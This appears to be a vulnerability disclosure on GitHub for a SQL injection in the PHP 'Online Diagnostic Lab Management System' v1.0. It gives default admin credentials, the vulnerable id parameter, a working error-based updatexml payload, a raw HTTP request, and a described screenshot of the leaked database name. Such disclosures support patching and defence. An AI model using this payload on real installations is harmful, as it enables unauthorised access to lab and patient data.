

master

...

Cve_report / vendors / oretnom23 / online-diagnostic-lab-management-system / SQLi-2.md



vickysuper Create SQLi-2.md

History

1 contributor

33 lines (22 sloc) | 1.23 KB

...

Online Diagnostic Lab Management System v1.0 by oretnom23 has SQL injection

BUG_Author: 云影

Login account: admin/admin123 (Super Admin account)

Login account: cblake@sample.com/cblake123 (General account)

vendors: <https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html>

The program is built using the xmapp-php8.1 version

Vulnerability File: /odlms/admin/?page=user/manage_user&id=

Vulnerability location: /odlms/admin/?page=user/manage_user&id=,id

dbname=odlms_db,length=8

[+] Payload: /odlms/admin/?

page=user/manage_user&id=6%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

GET /odlms/admin/?page=user/manage_user&id=6%27%20and%20updatexml(1,concat(0x7e,(se1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkr9jm7nr42ori2
Connection: close

The screenshot shows a web browser window with the URL `http://192.168.1.88/odlms/admin/?page=user/manage_user&id=6' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+`. The browser's developer tools console displays a fatal error: `Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~odlms_db~' in C:\xampp\htdocs\odlms\admin\user\manage_user.php:4 Stack trace: #0 C:\xampp\htdocs\odlms\admin\user\manage_user.php(4): mysqli->query('SELECT * FROM u...') #1 C:\xampp\htdocs\odlms\admin\index.php(28): include('C:\xampp\htdocs...') #2 {main} thrown in C:\xampp\htdocs\odlms\admin\user\manage_user.php on line 4`. The error message is highlighted in yellow. The browser's address bar shows the URL, and the page title is "Online Diagnostic Lab Management System - Admin". The user is logged in as "Administrator Admin".